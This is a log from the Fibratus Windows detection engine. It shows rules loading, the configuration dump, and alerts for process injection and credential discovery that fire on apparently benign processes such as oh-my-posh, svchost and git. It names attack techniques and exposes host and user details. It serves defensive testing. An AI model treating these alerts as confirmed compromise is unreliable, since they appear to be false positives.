C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-03T23:18:49+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:150 +time=2025-11-03T23:18:49+01:00 level=info msg=bootstrapping with pid 13424. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:18:49+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-period=>500ms flush-timeout=>4s] + alertsenders ................... [ eventlog=>[ enabled=>true verbose=>true] mail=>[ use-template=>true content-type=>text/html to=>[] port=>25 enabled=>false] slack=>[ enabled=>false] systray=>[ quiet-mode=>false enabled=>false sound=>true]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false] + eventsource .................... [ flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-vamap=>true enable-threadpool=>false enable-registry=>true min-buffers=>16 enable-audit-api=>true enable-fileio=>true enable-net=>true stack-enrichment=>true enable-image=>true max-buffers=>36 buffer-size=>512 enable-dns=>false enable-mem=>false enable-thread=>true enable-handle=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ from-paths=>[C:\Fibratus\fibratus\rules\*.yml] enabled=>true from-urls=>[]]] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ log-stdout=>true max-backups=>15 level=>info max-age=>0 max-size=>100 formatter=>text] + output ......................... [ elasticsearch=>[ healthcheck-interval=>10s bulk-workers=>1 trace-log=>false flush-period=>1s healthcheck=>true gzip-compression=>false sniff=>false enabled=>false template-name=>fibratus healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] timeout=>5s index-name=>fibratus] amqp=>[ timeout=>5s delivery-mode=>transient durable=>false enabled=>false routing-key=>fibratus passive=>false exchange=>fibratus url=>amqp://localhost:5672 exchange-type=>topic tls-insecure-skip-verify=>false vhost=>/] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] eventlog=>[ enabled=>false level=>info] http=>[ tls-insecure-skip-verify=>false endpoints=>[] enable-gzip=>false enabled=>false serializer=>json method=>POST timeout=>5s]] + pe ............................. [ read-resources=>false enabled=>false read-sections=>false read-symbols=>false excluded-images=>[svchost.exe]] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ rename=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] skip-registry=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] scan-timeout=>10s enabled=>false skip-files=>false excluded-procs=>[] skip-allocs=>false skip-mmaps=>false fastscan=>true] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:18:49+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:18:51+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:19:27+01:00 level=info msg=sending alert: [Thread context set from unbacked memory]. Text: Event(s): + Seq: 1660448 + Pid: 20432 + Tid: 18812 + Type: SetThreadContext + CPU: 6 + Name: SetThreadContext + Category: thread + Description: Sets the thread context + Host: archrabbit + Timestamp: 2025-11-03 23:19:26.3854371 +0100 CET + Params: status➜ Success + Metadata: rule.name: Thread context set from unbacked memory, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/ + + Pid: 20432 + Ppid: 22236 + Name: oh-my-posh.exe + Parent name: powershell.exe + Cmdline: "C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\Ekko\Src" "--pswd=C:\Fibratus\redteam\Ekko\Src" "--execution-time=34.0044" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh" + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: HIGH + Username: nedo + Domain: ARCHRABBIT + Args: ["C:/Users/nedo/AppData/Local/Programs/oh-my-posh/bin/oh-my-posh.exe" "print" "primary" "--error=0" "--pwd=C:\Fibratus\redteam\Ekko\Src" "--pswd=C:\Fibratus\redteam\Ekko\Src" "--execution-time=34.0044" "--stack-count=0" "--config=C:\Posh-Themes\spaceship.json" "--shell-version=5.1.26100.6584" "--terminal-width=156" "--shell=pwsh"] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:20:19+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1686262 + Pid: 1400 + Tid: 16844 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:20:15.590905 +0100 CET + Params: file_key➜ ffff808cd7241740, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, subtechnique.id: T1555.004 + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:20:20+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1691270 + Pid: 1400 + Tid: 16844 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:20:15.9445582 +0100 CET + Params: file_key➜ ffff808cd7241740, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: rule.name: Credential discovery via VaultCmd tool, tactic.id: TA0006, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:20:20+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1691438 + Pid: 1400 + Tid: 16844 + Type: MapViewFile + CPU: 6 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:20:15.9540187 +0100 CET + Params: file_key➜ ffff808cd7241740, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.id: T1555.004, rule.name: Credential discovery via VaultCmd tool, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, tactic.ref: https://attack.mitre.org/tactics/TA0006/ + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:20:20+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1691587 + Pid: 1400 + Tid: 16844 + Type: MapViewFile + CPU: 7 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:20:15.9633134 +0100 CET + Params: file_key➜ ffff808cd7241740, offset➜ 0, pid➜ 1400, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 2a1fad70000, view_size➜ 8192 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, rule.name: Credential discovery via VaultCmd tool, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.id: T1555.004, tactic.id: TA0006 + + Pid: 1400 + Ppid: 760 + Name: svchost.exe + Parent name: services.exe + Cmdline: C:\WINDOWS\system32\svchost.exe -k RPCSS -p + Parent cmdline: C:\WINDOWS\system32\services.exe + Exe: C:\WINDOWS\system32\svchost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-20 + Integrity level: SYSTEM + Username: NETWORK SERVICE + Domain: NT AUTHORITY + Args: [C:\WINDOWS\system32\svchost.exe -k RPCSS -p] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\ServiceProfiles\NetworkService\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp TMP:C:\WINDOWS\SERVIC~1\NETWOR~1\AppData\Local\Temp USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\ServiceProfiles\NetworkService _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-03T23:20:48+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 1743655 + Pid: 10460 + Tid: 11992 + Type: MapViewFile + CPU: 4 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-03 23:20:42.9772596 +0100 CET + Params: file_key➜ ffff808cbe373000, offset➜ 0, pid➜ 10460, protection➜ READONLY, section_type➜ PAGEFILE, view_base➜ 6d0000, view_size➜ 32768 + Metadata: subtechnique.name: Windows Credential Manager, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, tactic.id: TA0006, tactic.name: Credential Access, technique.id: T1555, technique.name: Credentials from Password Stores, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/ + + Pid: 10460 + Ppid: 14096 + Name: git.exe + Parent name: Code.exe + Cmdline: "C:\Program Files\Git\cmd\git.exe" config --get commit.template + Parent cmdline: "C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\Code.exe" --type=utility --utility-sub-type=node.mojom.NodeService --lang=en-US --service-sandbox-type=none --dns-result-order=ipv4first --experimental-network-inspection --inspect-port=0 --video-capture-use-gpu-memory-buffer --user-data-dir="C:\Users\nedo\AppData\Roaming\Code" --standard-schemes=vscode-webview,vscode-file --enable-sandbox --secure-schemes=vscode-webview,vscode-file --cors-schemes=vscode-webview,vscode-file --fetch-schemes=vscode-webview,vscode-file --service-worker-schemes=vscode-webview --code-cache-schemes=vscode-webview,vscode-file --field-trial-handle=1684,i,5970045747267208523,10574949385857880792,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports,EarlyEstablishGpuChannel,EnableTransparentHwndEnlargement,EstablishGpuChannelAsync --disable-features=CalculateNativeWinOcclusion,FontationsLinuxSystemFonts,ScreenAIOCREnabled,SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit --variations-seed-version --mo + Exe: C:\Program Files\Git\cmd\git.exe + Cwd: + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Program Files\Git\cmd\git.exe" config --get commit.template] + Session ID: 1 + Envs: map[] + + + source=action/alert.go:37 +time=2025-11-03T23:21:40+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-03T23:21:40+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:21:41+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-03T23:23:01+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-03T23:23:01+01:00 level=info msg=bootstrapping with pid 21988. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-03T23:23:01+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true quiet-mode=>false enabled=>false] mail=>[ content-type=>text/html use-template=>true port=>25 enabled=>false to=>[]]] + api ............................ [ transport=>localhost:8482 timeout=>5s] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enabled=>false enable-direct-syscall=>true] + event .......................... [ serialize-images=>false serialize-envs=>true serialize-handles=>false serialize-pe=>false serialize-threads=>false] + eventsource .................... [ enable-vamap=>true enable-thread=>true max-buffers=>36 blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true enable-handle=>false min-buffers=>16 stack-enrichment=>true enable-threadpool=>false enable-registry=>true enable-audit-api=>true buffer-size=>512 enable-net=>true enable-fileio=>true enable-mem=>false enable-dns=>false flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-backups=>15 max-age=>0 max-size=>100 level=>info log-stdout=>true formatter=>text] + output ......................... [ http=>[ enable-gzip=>false timeout=>5s endpoints=>[] method=>POST enabled=>false tls-insecure-skip-verify=>false serializer=>json] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} +] amqp=>[ enabled=>false exchange-type=>topic vhost=>/ exchange=>fibratus durable=>false tls-insecure-skip-verify=>false delivery-mode=>transient url=>amqp://localhost:5672 routing-key=>fibratus passive=>false timeout=>5s] elasticsearch=>[ template-name=>fibratus healthcheck=>true healthcheck-interval=>10s sniff=>false timeout=>5s healthcheck-timeout=>5s index-name=>fibratus flush-period=>1s servers=>[http://127.0.0.1:9200] enabled=>false gzip-compression=>false trace-log=>false bulk-workers=>1] eventlog=>[ level=>info enabled=>false]] + pe ............................. [ read-resources=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false enabled=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ tags=>[ enabled=>false] remove=>[ params=>[] enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false scan-timeout=>10s skip-allocs=>false skip-files=>false enabled=>false fastscan=>true excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-03T23:23:01+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:23:03+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-03T23:24:19+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 